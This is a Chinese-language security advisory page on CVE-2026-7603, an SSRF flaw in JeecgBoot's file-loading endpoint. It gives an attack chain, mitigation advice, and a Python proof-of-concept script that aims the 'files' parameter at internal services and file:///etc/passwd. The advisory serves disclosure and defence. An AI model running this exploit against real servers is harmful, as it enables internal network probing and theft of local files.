IPBUF安全漏洞报告
English
CVE-2026-7603 CVSS 6.3 中危

CVE-2026-7603 JeecgBoot SSRF漏洞

披露日期: 2026-05-02

漏洞信息

漏洞编号
CVE-2026-7603
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
JeecgBoot

相关标签

SSRFJeecgBoot服务端请求伪造中危漏洞路径遍历

漏洞概述

JeecgBoot 3.9.1及之前版本中存在一处安全漏洞。该漏洞源于FileDownloadUtils.java文件中LoadFile Endpoint组件的checkPathTraversalBatch函数。攻击者可以通过恶意操纵files参数,绕过安全检查,从而发起服务端请求伪造(SSRF)攻击。由于此漏洞可被远程利用且利用代码已公开披露,对系统机密性、完整性和可用性均构成影响,建议用户尽快升级受影响的组件。

技术细节

该漏洞位于JeecgBoot的文件下载处理逻辑中,具体涉及`FileDownloadUtils.java`类里的`checkPathTraversalBatch`方法。该方法原本用于校验文件路径以防止路径遍历,但在处理`files`参数时存在逻辑缺陷,未能正确过滤用户输入。攻击者无需高权限,只需构造恶意的HTTP请求,通过篡改`files`参数的内容,即可绕过安全校验机制。这种操纵导致应用程序向攻击者指定的内网或外网地址发起请求,从而形成服务器端请求伪造(SSRF)。由于攻击向量为网络(AV:N),且无需用户交互(UI:N),远程攻击者可以利用此漏洞探测内网端口、读取本地敏感文件(如/etc/passwd)或结合其他漏洞(如FastJson)进行进一步的内网渗透攻击,对系统安全构成严重威胁。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统运行的是JeecgBoot 3.9.1或更早版本,并确定存在LoadFile Endpoint接口。
STEP 2
构造载荷
攻击者构造包含恶意files参数的HTTP请求,该参数指向内网敏感地址(如127.0.0.1:8080)或本地文件。
STEP 3
发送请求
攻击者向服务器端发送特制的HTTP GET/POST请求,触发checkPathTraversalBatch函数的处理逻辑。
STEP 4
执行攻击
服务器端未能正确校验参数,向攻击者指定的地址发起请求,导致敏感信息泄露或内网探测。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-7603 # This script demonstrates the SSRF vulnerability by sending a malicious request to the LoadFile endpoint. import requests def exploit_ssrf(target_url, internal_url): """ Attempts to trigger the SSRF vulnerability in JeecgBoot. :param target_url: The base URL of the vulnerable JeecgBooot application (e.g., http://localhost:8080) :param internal_url: The URL to attack (e.g., http://127.0.0.1:22 or file:///etc/passwd) """ # The vulnerable endpoint path might vary, typically '/jeecg-boot/sys/common/loadFile' or similar based on version endpoint = "/jeecg-boot/sys/common/loadFile" # Construct the payload by manipulating the 'files' argument payload = { "files": internal_url } try: print(f"[*] Sending request to {target_url}{endpoint} with payload: {payload}") response = requests.get(target_url + endpoint, params=payload, timeout=10) if response.status_code == 200: print(f"[+] Request successful! Server responded. Check response content for signs of SSRF.") print(f"[+] Response Length: {len(response.text)}") # In a real SSRF, the response content might contain data from the internal_url # or the response time might indicate a connection to an internal port. else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1:8080" # Example payload to read a local file (if file:// protocol is supported) # or scan an internal port malicious_payload = "http://127.0.0.1:6379" exploit_ssrf(target, malicious_payload)

影响范围

JeecgBoot <= 3.9.1

防御指南

临时缓解措施
如果无法立即升级,建议在网络边界部署WAF规则,拦截对`/sys/common/loadFile`接口的异常参数请求,特别是包含内网IP地址(如127.0.0.1, 192.168.x.x, 10.x.x.x)或非预期协议(如file://, gopher://)的`files`参数。同时,限制服务器的出站网络访问权限,仅允许必要的业务通信。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表